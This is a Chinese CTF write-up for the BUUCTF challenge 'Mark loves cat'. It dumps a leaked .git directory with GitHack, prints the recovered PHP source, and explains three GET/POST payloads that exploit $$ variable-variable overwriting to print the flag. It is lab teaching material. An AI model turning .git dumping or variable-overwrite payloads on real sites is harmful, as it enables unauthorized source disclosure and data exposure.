知识点:

  • php中$$用来定义可变变量


解题:

python GitHack.py http://e6e2adea-991f-4ae7-b4ea-0f82d49d8f8c.node3.buuoj.cn/.git/

得到源码

<?phpinclude 'flag.php';$yds = "dog";
$is = "cat";
$handsome = 'yds';foreach($_POST as $x => $y){$$x = $y; #若传入x=y,则$x=y
}foreach($_GET as $x => $y){$$x = $$y;   #若传入x=y,则$x=$y
}foreach($_GET as $x => $y){if($_GET['flag'] === $x && $x !== 'flag'){exit($handsome);//遍历传入的get参数,当参数的key名不是flag,且key名为flag的value又要等于当前的key,即当存在key!='flag',而flag=key}
}if(!isset($_GET['flag']) && !isset($_POST['flag'])){exit($yds);#没有设置flag则进入
}if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){exit($is);#设置了flag键值即进入
}echo "the flag is: ".$flag;?>

分析:
表面上是存在四种方法输出flag(三种exit输出和一种echo输出)
第一种:
这种形式输出flag,由于是输出handsome,所以要想办法使得$handsome=$flag,很明显我们可以利用第二个foreach实现,所以传入参数之一handsome=flag
接下来就先想办法设置flag的值了,引用前面分析即当存在key!='flag',而flag=key
构造payload

handsome=flag&flag=handsome#z注意不能更换顺序,若flag在前,则$flag=$handsome,flag的值被改变了

第二种:
首先不能传入参数flag,否则不会进入第二种循环,其次输出的变量是yds,所以要将$yds=$flag
构造payload

yds=flag

第三种

flag=flag&is=flag

第四种还没想到…

[BJDCTF2020]Mark loves cat(.git源码泄露与代码审计之变量覆盖漏洞)相关推荐

  1. [BJDCTF2020]Mark loves cat 1

    [BJDCTF2020]Mark loves cat 1 首先打开题目得到: 在网站没有什么发现 就扫描一下网站得到: 发现有git泄露得到: python2 GitHack.py http://d9 ...

  2. [BJDCTF2020]Mark loves cat 1——(超详细 三种方法)

    [BJDCTF2020]Mark loves cat 1 一进入环境,毫无头绪 拿御剑 或者 dirsearch 扫出了 .git/ 可以猜出,本关一定与git源码泄露有关 我们使用GitHack 看 ...

  3. [BJDCTF2020]Mark loves cat

    首先打开网站看到的是一个个人博客,这种常规的 类似实战题目 先扫描目录看看 路径扫描 没错这真的是我的字典,就7个路径,哈哈哈,还在收集啊 git泄露 看到了一个 .git 泄露 用了俩工具测试,无任 ...

  4. [BJDCTF2020]Mark loves cat(3种解法)

    练习靶场:BUUCTF   题目搜索:[BJDCTF2020]Mark loves cat 靶机启动后的界面 步骤1:我们使用工具dirsearch扫描目录,观察是否有信息泄露 python dirs ...

  5. BUUCTF [BJDCTF2020]Mark loves cat

    打开题目 搜索一番没有任何发现: dirsearch扫描后发现.git泄露,GitHack.py下载源码: python GitHack.py http://b77333f7-af9a-4f4a-aa ...

  6. [BJDCTF2020]Mark loves cat详细解法与思路

    前言 文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途! 知识点: 主要考点是$$会导致变量覆盖 题目 ...

  7. buuctf Mark loves cat

    buuctf Mark loves cat 打开是个静态页面,源码也无任何有用信息 dirsearch扫描后发现.git泄露 GitHack.py下载得到两个php文件,接下来就是代码审计: flag ...

  8. buuctf web mark loves cat

    打开场景,是一个主页,先审计源码,发现很多a链接,但都是指向本页面的死链,没啥用 扫目录,python3 dirmap.py -i http://bba5d728-52ed-427c-bf70-629 ...

  9. CTF中常见Web源码泄露总结

    目录00x1 .ng源码泄露 00x2  git源码泄露 00x3 .DS_Store文件泄漏 00x4 网站备份压缩文件 00x5 SVN导致文件泄露 00x6 WEB-INF/web.xml泄露  ...

最新文章

  1. UBUNTU安装SSH和xrdp
  2. 暑期大作战 第五天(第四天待补)
  3. python正则表达式面试_【正则表达式Python面试题】面试问题:Scrapy之… - 看准网...
  4. FreeWheel基于Go的实践经验漫谈——GC是大坑(关键业务场景不用),web框架尚未统一,和c++性能相比难说...
  5. codeforces MUH and Cube Walls
  6. 利用FRIDA攻击Android应用程序(一)
  7. WebRTC的现状和未来:专访W3C WebRTC Chair Bernard Aboba(下)
  8. 浅谈工业机器人的运动停止
  9. Mendix:低代码与无代码的异同点与用例
  10. 解决phpmailer可以在windows下面发送成功, 在linux下面失败的问题
  11. priority_queue 用法总结
  12. 【免费毕设】基于PHP的产品报价系统的设计与开发(源代码+论文)
  13. springboot - 整合多数据源配置
  14. 谷歌浏览器截图_【插件推荐】一键滚动截图整个网页,支持二次编辑的免费工具...
  15. 软考高级软件架构师论文——论软件架构风格
  16. bugly怎么读_Bugly迁入
  17. 用于理解C++类中静态成员的单子模式研究
  18. 除了茶颜悦色、文和友?长沙打造旅游城市缺什么?
  19. 使用JavaScript实现GPA计算器(学科实践任务 一)
  20. c 语言如何扫描输入的字符,如何在C中对单个字符进行扫描

热门文章

  1. 济南公交车辆实时定位手机web版
  2. 【时间序列分析】13. Hilbert空间
  3. 盘点5个情人节反向营销案例:哪个品牌最得你心
  4. 抖音企业号怎么运营,抖音企业号运营推广教程。
  5. 博文The Illustrated Transformer 的PDF格式
  6. [原创] STM32 USB CDC 虚拟多串口
  7. iis与mysql关联_利用Advanced Installer将asp.netMVC连同IIS服务和mysql数据库一
  8. PHP动态创建闪字闪图源码,HTML音画介绍之五-闪框闪字走动字制作(附闪图素材)...
  9. Cortex-A8异常处理
  10. 计算机怎么打开远程桌面连接到服务器,win7远程访问如何打开_win7远程桌面连接怎么打开...